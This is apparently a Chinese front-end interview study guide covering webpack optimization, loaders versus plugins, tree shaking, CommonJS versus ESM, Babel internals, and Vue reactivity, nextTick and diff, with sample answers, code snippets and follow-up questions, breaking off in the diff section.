我会先说几个天天用的插件,再按「体积」和「构建速度」两条线讲优化,最后强调要用数据说话。 常用的就是 HtmlWebpackPlugin、MiniCssExtractPlugin、DefinePlugin 这些。体积上,先用 bundle-analyzer 找大头,再靠动态 import()、splitChunks、Tree Shaking 和压缩处理;速度上,webpack 5 的持久化缓存最管用,再配合 include 缩小 loader 范围、换 swc-loader。很多老文章还在推 HappyPack、DllPlugin,这些在 webpack 5 里已经被内置能力取代了,现在再推荐反而减分。

Webpack 提供了许多插件(Plugins)来帮助优化项目构建和性能。下面列举一些常用的插件以及它们的作用:

构建优化插件:

  • ContextReplacementPlugin:用于限制某些模块的上下文,可以减少编译体积。
  • IgnorePlugin:用于忽略特定的模块,减少打包体积。
  • babel-plugin-import:用于按需加载和使用模块,减少打包体积。
  • babel-plugin-transform-runtime:将代码中的公共部分提取到一个单独的模块中,减少打包体积。
  • happypack、thread-loader:实现并行编译,加快构建速度。
  • uglifyjs-webpack-plugin:通过并行压缩和缓存来加快代码压缩的速度。

性能优化插件:

  • Tree-shaking:通过静态分析代码,去除未使用的代码,减少打包体积。
  • Scope Hoisting:将模块之间的关系进行静态分析,减少打包后的模块数量,提升代码执行速度。
  • webpack-md5-plugin:根据文件内容生成 hash,实现缓存的更新机制。
  • splitChunksPlugin:根据配置将代码拆分成多个块,实现按需加载和并行加载的效果。
  • import()、require.ensure:动态导入模块,实现按需加载,提升页面加载速度。

除了使用这些插件,还可以通过配置 webpack 的其他参数来进一步优化项目,例如:

  • 配置 devtool:选择合适的 Source Map 类型,既满足调试需求又不影响构建速度。
  • 配置 output:使用 chunkhash 或 contenthash 生成文件名,实现长期缓存。
  • 使用 cache-loader、hard-source-webpack-plugin、uglifyjs-webpack-plugin 等插件开启缓存,加速再次构建。
  • 使用 DllWebpackPlugin 和 DllReferencePlugin 预编译公共模块,减少重复构建时间。

综合使用这些插件和优化策略,可以显著提升 webpack 项目的构建效率和性能。但是需要根据具体的项目需求和场景选择合适的插件和优化方法。

老文章里常列的插件有不少已经过时,或者分类不准确,整理成现在的版本:

老方案 现状 / 替代
uglifyjs-webpack-plugin 不支持 ES6+,webpack 4 起默认改用 terser-webpack-plugin
happypack 作者已停止维护,用 thread-loader,或直接换 swc-loader / esbuild-loader
hard-source-webpack-plugin、cache-loader webpack 5 内置 cache: { type: 'filesystem' }
DllPlugin / DllReferencePlugin 被持久化缓存取代,基本不再需要
clean-webpack-plugin webpack 5 的 output.clean: true
webpack-md5-plugin output.filename: '[name].[contenthash].js' 内置

另外,Tree Shaking、Scope Hoisting 并不是插件,而是 production 模式默认开启的优化(optimization.usedExports、optimization.concatenateModules);babel-plugin-import 是 Babel 插件,不是 webpack 插件。一份常见的生产配置大概是:

module.exports = {
  mode: 'production',
  output: { filename: '[name].[contenthash:8].js', clean: true },
  cache: { type: 'filesystem' },
  module: {
    rules: [{ test: /\.[jt]sx?$/, include: /src/, use: 'swc-loader' }],
  },
  optimization: { splitChunks: { chunks: 'all' } },
  plugins: [new HtmlWebpackPlugin({ template: './index.html' }), new MiniCssExtractPlugin()],
}

💬 面试官追问

  • DefinePlugin 里写 'process.env.API': 'https://x.com',打包后报语法错误,为什么?

    DefinePlugin 是原样做文本替换,替换进去的是 https://x.com 这几个字符,不是字符串。要写 JSON.stringify('https://x.com')。

  • 用了 CompressionPlugin 生成 .gz,线上响应头还是没有 Content-Encoding: gzip,为什么?

    这个插件只是预先生成压缩文件,服务器得配合:Nginx 要开 gzip_static on,才会优先返回 .gz。不配的话 .gz 文件就是白放着。

  • 你说优化效果,面试时怎么讲才有说服力?

    给前后对比的数:首屏 JS 从多少 KB 降到多少、LCP 从几秒到几秒、冷构建和热构建各几秒。只说「用了某某插件」,面试官没法判断你到底解决了什么。

  • babel-plugin-transform-runtime 是干嘛的,能减小体积吗?

    能减一点。它把 Babel 注入到每个文件的 _classCallCheck 这类辅助函数改成从 @babel/runtime 引入,避免重复;还能让 polyfill 不污染全局,所以写库时常用。

  • HtmlWebpackPlugin 生成的 HTML 要不要缓存?

    不要长缓存,HTML 设 no-cache 每次协商;JS、CSS 文件名带 contenthash,设一年强缓存。这样发版后用户拿到新 HTML,自然就引到新资源。

# 6 webpack Plugin 和 Loader 的区别

⚡ 30 秒速记

  • Loader:管单个文件怎么转,把 Sass、TS、图片这类变成 webpack 认识的 JS 模块;本质是函数
  • Plugin:管整个构建过程里还要做什么,挂到 compiler / compilation 钩子上;本质是带 apply 的类
  • 配置位置:loader 写在 module.rules,plugin 写在 plugins 数组里 new 出来
  • 时机:loader 只在模块构建时对匹配的文件跑;plugin 从启动到产物写盘全程都能介入
  • 例子:babel-loader、css-loader 是 loader;HtmlWebpackPlugin、MiniCssExtractPlugin 是 plugin

Loader 是翻译官,只负责把一个文件的内容转换成 JS 模块;Plugin 是在构建流程上挂钩子,干 loader 干不了的事。 webpack 本身只认识 JS 和 JSON,遇到 .scss、.vue、图片就得靠 loader 转,它们一个接一个地链式处理同一个文件。plugin 的视野是整个构建,比如生成 HTML、把 CSS 抽成单独文件、注入环境变量、分析产物体积,这些都不是针对某一个文件的转换。判断的时候问一句:是不是在「改单个文件的内容」,是就用 loader,否则用 plugin。

  • Loader 用于对模块源码进行转换,将非 JavaScript 模块转换为 JavaScript 模块,或对模块进行预处理。它描述了 webpack 如何处理不同类型的文件,比如将 Sass 文件转换为 CSS 文件,或将 ES6 代码转换为 ES5 代码。Loader 是针对单个文件的转换操作,通过配置 rules 来匹配文件并指定相应的 Loader
  • Plugin 用于扩展 webpack 的功能,解决 Loader 无法解决的问题。Plugin 可以监听 webpack 构建过程中的事件,并在特定的时机执行相应的操作。它可以在打包优化、资源管理、环境变量注入等方面提供额外的功能。Plugin 的功能范围更广泛,可以修改 webpack 的内部行为,从而实现更复杂的构建需求。

总的来说,Loader 是用于处理模块源码的转换工具,而 Plugin 则是用于扩展 webpack 的功能,通过监听 webpack 构建过程中的事件来执行相应的操作。它们各自的作用和功能不同,但都可以用于优化和定制 webpack 的构建过程。在配置 webpack 时,我们可以通过配置 Loader 和 Plugin 来满足不同的需求,并实现对模块的转换和构建过程的定制化

💬 面试官追问

  • MiniCssExtractPlugin 既要配 loader 又要配 plugin,为什么?

    分工不同:它的 loader 在每个 CSS 模块上把内容收集起来,不再注入 style 标签;plugin 在最后生成产物时把收集到的 CSS 合并成单独的 .css 文件。一个管文件,一个管产物。

  • 想给每个打出来的 JS 文件头部加版权注释,用 loader 还是 plugin?

    plugin,用内置的 BannerPlugin 就行。loader 处理的是源模块,一个 chunk 由很多模块合成,在 loader 里加会加得到处都是。

  • 能不能只用 plugin 不用 loader 处理 .scss?

    理论上能在插件里拦截模块构建做转换,但那是在重新发明 loader。webpack 的模块解析、缓存、sourceMap 都是围绕 loader 链设计的,没理由绕开。

  • webpack 不配任何 loader,能打包什么?

    JS 和 JSON。webpack 5 还内置了资源模块,type: 'asset/resource' 就能处理图片字体,不用再装 file-loader、url-loader。

# 7 tree shaking 的原理是什么

⚡ 30 秒速记

  • 前提是 ESM 的静态结构:import / export 只能写在顶层,编译期就能知道谁用了谁
  • 两步:先标记没被用到的导出(usedExports),再由 Terser 在压缩时把死代码删掉
  • sideEffects: false 让打包器敢把「整个没用到的文件」直接跳过,引了 CSS 的要写成 ["*.css"]
  • 常见失效:依赖只发 CommonJS、Babel 把 ESM 转成了 CJS、模块顶层有副作用(改原型、注册全局)
  • 版本:webpack 4 起 production 默认开启;webpack 5 加了 innerGraph,能追到函数内部的引用关系
  • babel-loader 下 preset-env 的 modules 默认 auto,不会转 CJS,不用再手动写 false

Tree Shaking 靠的是 ESM 能静态分析:不运行代码就知道每个导出有没有人用,没人用的就删掉。 webpack 里分两步:构建时标记出没被引用的导出,压缩时 Terser 把这些代码当成死代码去掉。CommonJS 的 require 可以写在 if 里、可以拼路径,编译期没法确定,所以摇不动。实际项目里最常见的失效原因是依赖只发了 CJS 产物,或者包没声明 sideEffects,打包器怕删了出问题,只能整个保留。

Tree shaking 的原理主要是基于静态分析的方式来实现无用代码的消除,从而减小最终打包生成的文件体积。它的工作原理可以简要概括如下:

  1. 采用 ES6 Module 语法:Tree shaking 只对 ES6 Module 语法进行静态分析和优化。ES6 Module 的特点是可以进行静态分析,这意味着在编译阶段就能够确定模块之间的依赖关系。
  2. 静态分析模块依赖:在编译过程中,通过静态分析可以确定每个模块的依赖关系,以及模块中导出的函数、变量等信息。
  3. 标记未被引用的代码:在静态分析的过程中,会标记出那些未被其他模块引用的函数、变量和代码块。
  4. 消除未被引用的代码:在构建过程中,根据静态分析得到的标记信息,可以对未被引用的代码进行消除。这样,在最终生成的打包文件中,未被引用的代码将不会包含在内。

总结来说,Tree shaking 的核心思想是通过静态分析模块依赖关系,并标记和消除未被引用的代码。这样可以大大减小打包后的文件体积,提升应用的性能和加载速度。需要注意的是,Tree shaking 只对 ES6 Module 语法起作用,而对于 CommonJS 等其他模块系统则无法进行静态分析和优化。

💬 面试官追问

  • package.json 写了 "sideEffects": false,上线后全局样式全丢了,为什么?

    import './global.css' 没有导出可用,在 sideEffects: false 下会被当成无用模块直接删掉。改成 "sideEffects": ["*.css", "./src/polyfill.js"],把有副作用的文件列出来。

  • 开发模式下看产物,没用到的函数还在,是不是没生效?

    开发模式默认不删,最多加个 unused harmony export 注释。删除动作是 production 模式下 Terser 做的,要看效果就看生产构建。

  • 工具库里写了 export default { a, b, c },只用了 a,b 和 c 能摇掉吗?

    摇不掉,导出的是一整个对象,打包器分析不到你只用了其中一个属性。工具库要写成 export function a() {} 这种具名导出。

  • 顶层写了 Array.prototype.last = ... 的模块,为什么删不掉?

    这是典型的副作用,删了会改变程序行为,打包器不敢动。这种代码要么单独放进 sideEffects 白名单,要么改成显式调用的函数。

  • 为什么都说 Rollup 摇得比 webpack 干净?

    Rollup 天生按 ESM 设计,会把模块平铺到一个作用域里分析到语句级;webpack 早期要兼容 CJS 和运行时模块系统,保守一些。webpack 5 有了 innerGraph 和模块合并后差距小了很多,写库还是更常用 Rollup。

# 8 common.js 和 es6 中模块引入的区别

⚡ 30 秒速记

  • 时机:CommonJS 运行时加载,require 是普通函数,可以写在 if 里、拼路径;ESM 编译期静态解析,import 只能在顶层(动态的用 import())
  • 导出:CJS 拿到的是 module.exports 那一刻的值,基本类型改了导入方看不到;ESM 是活绑定,导出方改了导入方马上看到
  • CJS 同步加载;ESM 支持顶层 await;ESM 顶层 this 是 undefined,CJS 是 module.exports
  • ESM 能 Tree Shaking,CJS 基本不行
  • Node 里靠 .mjs / .cjs 或 "type": "module" 区分;ESM 能 import CJS;Node 22.12 / 20.19 起 require() 也能直接加载同步的 ESM

最核心的区别是:CommonJS 运行时加载、拿到的是值的拷贝;ESM 编译时就确定依赖、拿到的是活的引用。 因为 require 是函数调用,所以能写在条件里;import 是静态语法,构建工具可以提前分析,Tree Shaking 就靠这个。「值的拷贝」要说准:CJS 导出的是 module.exports 对象,基本类型在赋值那一刻就定了,对象还是同一个引用;ESM 的 import 更像一个只读的指针,导出方改了变量,导入方读到的就是新值。混用时注意,ESM 引 CJS 没问题,老版本 Node 里 CJS 要引 ESM 只能用 import()。

CommonJS 是一种模块规范,最初被应用于 Nodejs,成为 Nodejs 的模块规范。运行在浏览器端的 JavaScript 由于也缺少类似的规范,在 ES6 出来之前,前端也实现了一套相同的模块规范 (例如: AMD),用来对前端模块进行管理。自 ES6 起,引入了一套新的 ES6 Module规范,在语言标准的层面上实现了模块功能,而且实现得相当简单,有望成为浏览器和服务器通用的模块解决方案。但目前浏览器对 ES6 Module 兼容还不太好,我们平时在 Webpack 中使用的 export和 import,会经过 Babel 转换为 CommonJS 规范

CommonJS 和 ES6 Module 在模块引入的方式和特性上有一些区别,主要包括以下几个方面:

  1. 输出方式:CommonJS 输出的是一个值的拷贝,而 ES6 Module 输出的是值的引用。在 CommonJS 中,模块导出的值是被复制的,即使导出模块后修改了模块内部的值,也不会影响导入模块的值。而在 ES6 Module 中,模块导出的值是引用关系,如果导出模块后修改了模块内部的值,会影响到导入模块的值
  2. 加载时机:CommonJS 模块是运行时加载,也就是在代码执行到导入模块的位置时才会加载模块并执行。而 ES6 Module 是编译时输出接口,也就是在代码编译阶段就会确定模块的依赖关系,并在运行前静态地解析模块的导入和导出
  3. 导出方式:CommonJS 采用的是 module.exports 导出,可以导出任意类型的值。ES6 Module 采用的是 export 导出,只能导出具名的变量、函数、类等,而不能直接导出任意值
  4. 导入方式:CommonJS 使用 require() 来导入模块,可以使用动态语法,允许在条件语句中使用。ES6 Module 使用 import 来导入模块,它是静态语法,只能写在模块的顶层,不能写在条件语句中
  5. this 指向:CommonJS 模块中的 this 指向当前模块的 exports 对象,而不是全局对象。ES6 Module 中的 this 默认是 undefined,在模块中直接使用 this 会报错

总的来说,CommonJS 主要用于服务器端的模块化开发,运行时加载,更适合动态加载模块,而 ES6 Module 是在语言层面上实现的模块化方案,静态编译,更适合在构建时进行模块依赖的静态分析和优化。在前端开发中,通常使用打包工具(如 webpack)将 ES6 Module 转换为 CommonJS 或其他模块规范,以实现在浏览器环境中的兼容性。

用一段代码对比两种模块的「值拷贝」和「活绑定」:

// counter.js(CJS)
let count = 0
module.exports = { count, inc: () => count++ }
// main.js
const c = require('./counter'); c.inc(); console.log(c.count) // 0

// counter.mjs(ESM)
export let count = 0
export const inc = () => count++
// main.mjs
import { count, inc } from './counter.mjs'; inc(); console.log(count) // 1

CJS 那边 module.exports 在赋值时就把 count 的值 0 存进了对象,之后 count++ 改的是模块内的局部变量,对象里那份不会变;ESM 导入的 count 是指向导出方变量的绑定,所以读到 1。

💬 面试官追问

  • CJS 导出一个对象,改了对象里的属性,导入方能看到吗?

    能。「值的拷贝」说的是 module.exports 赋值那一刻的值,导出的对象本身还是同一个引用,改它的属性两边都看得到。看不到的是被重新赋值的基本类型变量。

  • 在 ESM 里写 import { count } from './a.js'; count++,会怎样?

    直接报 TypeError,导入的绑定是只读的。想改只能让导出方提供一个函数,比如 inc()。

  • Node 项目里 require 一个只发 ESM 的新版本包,报 ERR_REQUIRE_ESM,怎么办?

    老版本 Node 里换成 await import('pkg');升到 Node 22.12+ 或 20.19+,require() 已经能直接加载不含顶层 await 的 ESM。长远看项目本身迁到 "type": "module" 最省心。

  • 两个模块互相引用,CJS 和 ESM 表现有什么不同?

    CJS 会拿到对方还没执行完的半成品 exports,常见现象是某个函数是 undefined。ESM 先建好绑定再执行,过早访问 let / const 会报 ReferenceError,至少错得明显。

  • 都在 webpack 里写 import 了,为什么还会有 CJS 的问题?

    依赖包可能只发 CJS,或者 Babel 配错把 ESM 转成了 CJS,Tree Shaking 就失效了。看依赖的 package.json 有没有 module 或 exports 字段指向 ESM 产物。

# 9 babel原理

⚡ 30 秒速记

  • 三步:解析(@babel/parser,旧名 babylon)→ 转换(@babel/traverse)→ 生成(@babel/generator)
  • 解析 = 词法分析切成 token + 语法分析拼成 AST;生成时顺带出 source map
  • 插件都在转换这一步:用 visitor 按节点类型匹配,比如 ArrowFunctionExpression,改写节点
  • preset 就是插件合集;@babel/preset-env 按 browserslist 目标决定要转哪些语法
  • Babel 只转语法,不补 API:Promise、Array.prototype.includes 要靠 core-js 的 polyfill
  • useBuiltIns: 'usage' 按用到的 API 注入 polyfill,'entry' 是按目标环境全量引

Babel 就是一个编译器:先把代码解析成 AST,用插件改这棵树,再把树生成回代码。 解析阶段先把字符串切成一个个 token,再按语法规则拼成树;转换阶段遍历这棵树,每个插件只关心自己要处理的节点类型,比如箭头函数插件只盯 ArrowFunctionExpression,把它换成普通函数;最后生成器把树打印回字符串,同时出 source map。面试我会补一句:Babel 只管语法,Promise 这种新 API 它不会凭空造出来,要靠 core-js 补,preset-env 配 useBuiltIns: 'usage' 能按需引。

Babel 是一个 JavaScript 编译器。他把最新版的 javascript 编译成当下可以执行的版本,简言之,利用 babel 就可以让我们在当前的项目中随意的使用这些新最新的 es6,甚至 es7 的语法

ES6、7代码输入 -> babylon进行解析 -> 得到AST(抽象语法树)-> plugin用babel-traverse对AST树进行遍历转译 ->得到新的AST树->用babel-generator通过AST树生成ES5代码

它的工作流程包括解析(parse)、转换(transform)和生成(generate)三个主要步骤

  1. 解析(parse):Babel 使用解析器(如 Babylon)将输入的 JavaScript 代码解析成抽象语法树(AST)。解析器将代码分析成语法结构,并生成对应的 AST,表示代码的抽象语法结构。这个阶段包括词法分析和语法分析。词法分析将源代码转换为一个个标记(tokens)的流,而语法分析则将这个标记流转换为 AST 的形式。
  2. 转换(transform):在转换阶段,Babel 使用插件(plugins)对 AST 进行遍历和转换。插件可以对 AST 进行增删改查的操作,可以根据需求对语法进行转换、代码优化等。Babel 的插件系统非常灵活,可以根据需要自定义插件或使用现有插件来进行代码转换。
  3. 生成(generate):在生成阶段,Babel 使用生成器(如 babel-generator)将经过转换的 AST 转换回字符串形式的 JavaScript 代码。生成器会深度优先遍历 AST,并根据 AST 的节点类型生成对应的代码字符串,最终将代码字符串输出。

通过以上三个步骤,Babel 实现了将最新版本的 JavaScript 代码转换为向后兼容的代码,使得开发者可以在当前环境中使用较新的 JavaScript 特性和语法。同时,Babel 还提供了一些常用的插件和预设(presets),以便开发者快速配置和使用常见的转换规则,如转换 ES6、ES7 语法、处理模块化、转换 JSX 等。

总的来说,Babel 的原理是通过解析、转换和生成的过程,将新版本的 JavaScript 代码转换为兼容旧环境的代码,使开发者能够在当前环境中使用较新的 JavaScript 特性和语法。

# 八、框架相关

理解 visitor 最快的办法是自己写一个最小插件,比如把所有 console.log 删掉:

// 一个最小插件:把所有 console.log 删掉
module.exports = function () {
  return {
    visitor: {
      CallExpression(path) {
        const callee = path.get('callee')
        if (callee.matchesPattern('console.log')) path.remove()
      },
    },
  }
}

path 是节点在树中的位置包装,除了 remove(),还有 replaceWith()、insertBefore() 等方法。Babel 遍历 AST 时,每进入一个 CallExpression 节点就会调这个函数,插件只描述「遇到某类节点怎么改」,遍历本身由 @babel/traverse 负责。配置里写 plugins: ['./remove-console.js'] 就能生效。

💬 面试官追问

  • 配了 preset-env,在 IE 11 上还是报 Promise is undefined,为什么?

    preset-env 默认只转语法,不加 polyfill。要配 useBuiltIns: 'usage' 加 corejs: 3,并安装 core-js,它才会在用到 Promise 的地方注入对应的补丁。

  • useBuiltIns: 'usage' 会不会漏掉 node_modules 里依赖用到的 API?

    会。一般 babel-loader 不处理 node_modules,依赖里用的新 API 扫不到。要么把那几个依赖加进 include 一起转,要么在入口用 'entry' 按目标环境全量引。

  • 插件的执行顺序是怎样的?

    plugins 先于 presets;plugins 从前往后执行,presets 反过来从后往前。所以写装饰器、类属性这种有依赖关系的插件,要注意前后位置。

  • 现在都用 swc / esbuild 了,Babel 还有必要学吗?

    有。速度上它确实被甩开了,但 AST 这套思路是通用的,ESLint、Prettier、代码迁移的 codemod 都是这个模型。而且不少项目还要靠 Babel 插件做埋点注入、按需引入这类定制转换。

# 1 Vue 响应式原理

⚡ 30 秒速记

  • 一句话:数据劫持 + 发布订阅,读的时候记下谁在用(收集依赖),改的时候通知它们重新执行(派发更新)
  • Vue 2:Object.defineProperty 给每个已有属性加 getter / setter,getter 里 dep.depend() 收集 Watcher,setter 里 dep.notify()
  • Vue 2 的短板:新增 / 删除属性感知不到(要 Vue.set / Vue.delete),数组下标和 length 不行(重写了 7 个变异方法),初始化要递归走完整个对象
  • Vue 3:Proxy 代理整个对象,新增删除、数组下标都能拦,嵌套对象访问到了才代理(懒代理)
  • Vue 3 依赖结构是 WeakMap<target, Map<key, Set<effect>>>,track 收集、trigger 派发;ref 靠 .value 的 getter / setter
  • 更新是异步批量的:同一轮多次修改只触发一次渲染,靠的是调度队列 + nextTick

Vue 响应式说白了就是:读数据时记下「谁读了我」,改数据时通知这些人重新跑一遍。 Vue 2 用 Object.defineProperty 把每个属性改成 getter / setter,渲染时读到哪个属性,就把当前的渲染 Watcher 存进那个属性的 Dep;赋值时 setter 通知这些 Watcher 重新渲染。它的问题是只能劫持已经存在的属性,所以新加属性要 Vue.set,数组靠重写 push、splice 这些方法。Vue 3 换成 Proxy 代理整个对象,新增、删除、数组下标都能拦住,而且嵌套对象用到了才代理,大对象初始化快很多。

时序图 · 4 个参与者 / 8 步
alt 有 effect 依赖 count没人读过 count组件渲染 effect组件渲染 effect响应式代理响应式代理依赖表 targetMap依赖表 targetMap调度队列调度队列渲染时读取 state.count1track 记下 count 被这个 effect 用了2返回当前值3之后用户点击按钮state.count++4trigger 查 count 对应的 effect5把渲染任务放进队列,去重6微任务里统一重新渲染一次7什么都不做8

整体思路是数据劫持+观察者模式

对象内部通过 defineReactive 方法,使用 Object.defineProperty 将属性进行劫持(只会劫持已经存在的属性),数组则是通过重写数组方法来实现。当页面使用对应属性时,每个属性都拥有自己的 dep 属性,存放他所依赖的 watcher(依赖收集),当属性变化后会通知自己对应的 watcher 去更新(派发更新)。

class Observer {
  // 观测值
  constructor(value) {
    this.walk(value);
  }
  walk(data) {
    // 对象上的所有属性依次进行观测
    let keys = Object.keys(data);
    for (let i = 0; i < keys.length; i++) {
      let key = keys[i];
      let value = data[key];
      defineReactive(data, key, value);
    }
  }
}
// Object.defineProperty数据劫持核心 兼容性在ie9以及以上
function defineReactive(data, key, value) {
  observe(value); // 递归关键
  // --如果value还是一个对象会继续走一遍odefineReactive 层层遍历一直到value不是对象才停止
  //   思考?如果Vue数据嵌套层级过深 >>性能会受影响
  Object.defineProperty(data, key, {
    get() {
      console.log("获取值");

      //需要做依赖收集过程 这里代码没写出来
      return value;
    },
    set(newValue) {
      if (newValue === value) return;
      console.log("设置值");
      //需要做派发更新过程 这里代码没写出来
      value = newValue;
    },
  });
}
export function observe(value) {
  // 如果传过来的是对象或者数组 进行属性劫持
  if (
    Object.prototype.toString.call(value) === "[object Object]" ||
    Array.isArray(value)
  ) {
    return new Observer(value);
  }
}

💬 面试官追问

  • Vue 2 里 this.user.age = 18(age 原来没有),页面不更新,为什么?

    defineProperty 只在初始化时劫持了已有的属性,age 是后加的,没有 setter,改了也没人通知。用 this.$set(this.user, 'age', 18),或者一开始就在 data 里把字段声明好。

  • Vue 3 里 const { count } = reactive(state),之后改 state.count,count 不变,为什么?

    解构出来的是一个普通值,和 Proxy 断开了联系。要保持响应式就用 toRefs(state) 再解构,或者直接用 state.count。

  • 后台给了一个 5000 行、只读展示的大表格数据,放进 reactive 很卡,怎么办?

    只展示不修改的数据别做深层响应式。Vue 3 用 shallowRef 或者 markRaw,Vue 2 用 Object.freeze,整个替换数组时照样能触发更新。

  • Proxy 为什么要配合 Reflect 用?

    Reflect.get(target, key, receiver) 能把 receiver 传下去,对象里有 getter 用到 this 时,this 指向的还是代理对象,依赖才能收集到。直接 target[key] 会漏掉这部分依赖。

  • Vue 3 的 Vapor Mode 和响应式有什么关系?

    响应式系统没变,变的是渲染:Vapor Mode 不用虚拟 DOM,编译时直接生成「某个响应式数据变了就改某个 DOM 节点」的代码。目前是 3.6 起的可选模式,不是默认。

# 2 Vue nextTick 原理

⚡ 30 秒速记

  • 为什么要有:Vue 改数据后 DOM 不是立刻更新,而是攒到一个异步队列里批量刷,紧接着读 DOM 还是旧的
  • 机制:watcher 进队列去重,刷新队列这件事放进微任务;nextTick(cb) 把 cb 排在这次刷新后面
  • Vue 2.6 降级顺序:Promise.then → MutationObserver → setImmediate → setTimeout(fn, 0)
  • Vue 3 只用 Promise:nextTick 返回的就是本轮刷新的那个 Promise,可以直接 await nextTick()
  • 先改数据再调 nextTick 才能拿到新 DOM;顺序反了,回调会排在刷新前面
  • 本质考事件循环:同步代码 → 微任务(DOM 更新 + nextTick 回调)→ 浏览器渲染

nextTick 就是让你的回调等 Vue 这一轮 DOM 更新做完再执行。 Vue 改数据后不会马上动 DOM,而是把要更新的组件放进队列去重,然后用微任务统一刷一次,所以同一段同步代码里改十次数据也只渲染一次。代价就是改完数据马上读 DOM,拿到的还是旧的。nextTick 把你的回调排在这次刷新之后,Vue 2 会按 Promise、MutationObserver、setImmediate、setTimeout 依次降级,Vue 3 直接用 Promise,可以 await nextTick()。

时序图 · 5 个参与者 / 12 步
alt 先改数据再调 nextTick先调 nextTick 再改数据业务代码业务代码响应式数据响应式数据更新队列更新队列微任务队列微任务队列真实 DOM真实 DOMthis.msg = 新值1渲染 watcher 入队,同一个只放一次2第一次入队时注册 flush 微任务3this.$nextTick(cb),cb 排在 flush 后面4同步读取 DOM5还是旧内容6同步代码执行完,开始清空微任务执行 flush7组件重新渲染,打补丁8执行 cb9cb 里读取 DOM10拿到新内容11cb 先于 flush 执行,读到旧内容12

nextTick 中的回调是在下次 DOM 更新循环结束之后执行的延迟回调。在修改数据之后立即使用这个方法,获取更新后的 DOM。主要思路就是采用微任务优先的方式调用异步方法去执行 nextTick 包装的方法

let callbacks = [];
let pending = false;
function flushCallbacks() {
  pending = false; //把标志还原为false
  // 依次执行回调
  for (let i = 0; i < callbacks.length; i++) {
    callbacks[i]();
  }
}
let timerFunc; //定义异步方法  采用优雅降级
if (typeof Promise !== "undefined") {
  // 如果支持promise
  const p = Promise.resolve();
  timerFunc = () => {
    p.then(flushCallbacks);
  };
} else if (typeof MutationObserver !== "undefined") {
  // MutationObserver 主要是监听dom变化 也是一个异步方法
  let counter = 1;
  const observer = new MutationObserver(flushCallbacks);
  const textNode = document.createTextNode(String(counter));
  observer.observe(textNode, {
    characterData: true,
  });
  timerFunc = () => {
    counter = (counter + 1) % 2;
    textNode.data = String(counter);
  };
} else if (typeof setImmediate !== "undefined") {
  // 如果前面都不支持 判断setImmediate
  timerFunc = () => {
    setImmediate(flushCallbacks);
  };
} else {
  // 最后降级采用setTimeout
  timerFunc = () => {
    setTimeout(flushCallbacks, 0);
  };
}

export function nextTick(cb) {
  // 除了渲染watcher  还有用户自己手动调用的nextTick 一起被收集到数组
  callbacks.push(cb);
  if (!pending) {
    // 如果多次调用nextTick  只会执行一次异步 等异步队列清空之后再把标志变为false
    pending = true;
    timerFunc();
  }
}

💬 面试官追问

  • 弹窗 v-if 打开后要让输入框自动聚焦,直接写 this.$refs.input.focus() 报错,为什么?

    show = true 之后 DOM 还没渲染,$refs.input 是 undefined。放进 await this.$nextTick() 之后再 focus()。

  • 先调 this.$nextTick(cb) 再改数据,cb 里能拿到新 DOM 吗?

    Vue 2 里不能。回调队列先进先出,你的 cb 排在了渲染 watcher 前面,执行时 DOM 还没变。先改数据再 nextTick,这个顺序别反。

  • 为什么 nextTick 优先用微任务,不直接用 setTimeout?

    微任务在本轮同步代码结束、浏览器渲染之前就执行,DOM 改完正好赶上这一帧绘制;setTimeout 是下一个宏任务,中间可能多渲染一帧旧画面,而且有最小延迟。

  • nextTick 回调里拿到了新 DOM,但用户还没看到画面,矛盾吗?

    不矛盾。nextTick 保证的是 DOM 树已经改好,可以读尺寸、调 focus;真正画到屏幕上还要等微任务清空后浏览器渲染。要在绘制之后做事,用 requestAnimationFrame 套一层。

  • Vue 3 的 nextTick 和 Vue 2 实现上有什么区别?

    Vue 3 去掉了降级链,只用 Promise.resolve().then,nextTick 直接返回当前刷新任务的 Promise,所以 await nextTick() 很自然。Vue 2 维护一个 callbacks 数组,用 pending 标记保证一轮只开一次异步。

# 3 Vue diff 原理

⚡ 30 秒速记

  • 目标:拿新旧两棵虚拟 DOM 对比,尽量复用老节点,少动真实 DOM
  • 三个假设把 O(n³) 压到 O(n):只比同层、类型不同直接整棵换、同层列表靠 key 认人
  • Vue 2:双端比较,新旧列表各两个指针,头头、尾尾、头尾、尾头四次猜,都不中再查 key 表
  • Vue 3:先掐头去尾,中间乱序段建 key 映射,再求最长递增子序列,在子序列里的节点不动
  • Vue 3 真正快的是编译期:静态提升、PatchFlag、Block Tree,diff 只看动态节点
  • 列表会插入、删除、排序时别拿 index 当 key,带输入框的行会串数据

Vue 的 diff 说白了就是拿新旧虚拟 DOM 对一遍,能复用的老节点就复用,只改真正变了的地方。 它只比同一层,标签或组件类型不同就整棵替换,列表里靠 key 判断谁是谁。Vue 2 用双端指针,专门照顾头尾插入、整体反转这类常见操作;Vue 3 先处理两头相同的部分,中间乱序那段用最长递增子序列算出哪些节点不用动,移动次数最少。不过我觉得 Vue 3 更大的提升在编译期,模板编译时就给动态节点打了 PatchFlag,运行时直接跳过静态内容。

补充:Vue 2 和 Vue 3 列表 diff 的流程对比

Vue 2 的 updateChildren 维护四个指针 oldStart、oldEnd、newStart、newEnd,每轮按下面顺序尝试:

// Vue 2 双端比较的骨架(简化)
while (oldStart <= oldEnd && newStart <= newEnd) {
  if (same(oldS, newS)) { patch(); oldStart++; newStart++ }      // 头头
  else if (same(oldE, newE)) { patch(); oldEnd--; newEnd-- }     // 尾尾
  else if (same(oldS, newE)) { patch(); move(oldS, after oldE) } // 头尾:旧头挪到最后
  else if (same(oldE, newS)) { patch(); move(oldE, before oldS) }// 尾头:旧尾挪到最前
  else { /* 用 key 在旧列表里找,找到就移动复用,找不到就新建 */ }
}
// 循环结束:旧的有剩就删,新的有剩就批量插入

Vue 3 的 patchKeyedChildren 分五步:从头往后同步相同节点;从尾往前同步相同节点;只剩新增就挂载、只剩多余就卸载;中间乱序段建立 key -> 新下标 的映射,同时记录每个新节点对应的旧下标;对这个旧下标数组求最长递增子序列,倒序遍历,不在子序列里的节点才移动或新建。

判断「是不是同一个节点」:Vue 2 的 sameVnode 比 key、tag 等字段,Vue 3 的 isSameVNodeType 比 type 和 key。所以 key 一变,就算标签一样也会整棵重建,这也是「给组件换 key 强制重置」这个技巧的原理。

💬 面试官追问

  • 列表用 index 当 key,删掉第一行后输入框里的内容错位了,为什么?

    删掉第一行后,原来第二行的 key 变成了 0,Vue 认为它就是原来的第一行,直接复用那个 DOM,输入框里没受控的值就留在原地了。换成后端给的 id 当 key 就好。

  • 旧列表 [a, b, c, d] 变成 [d, a, b, c],Vue 2 怎么处理?

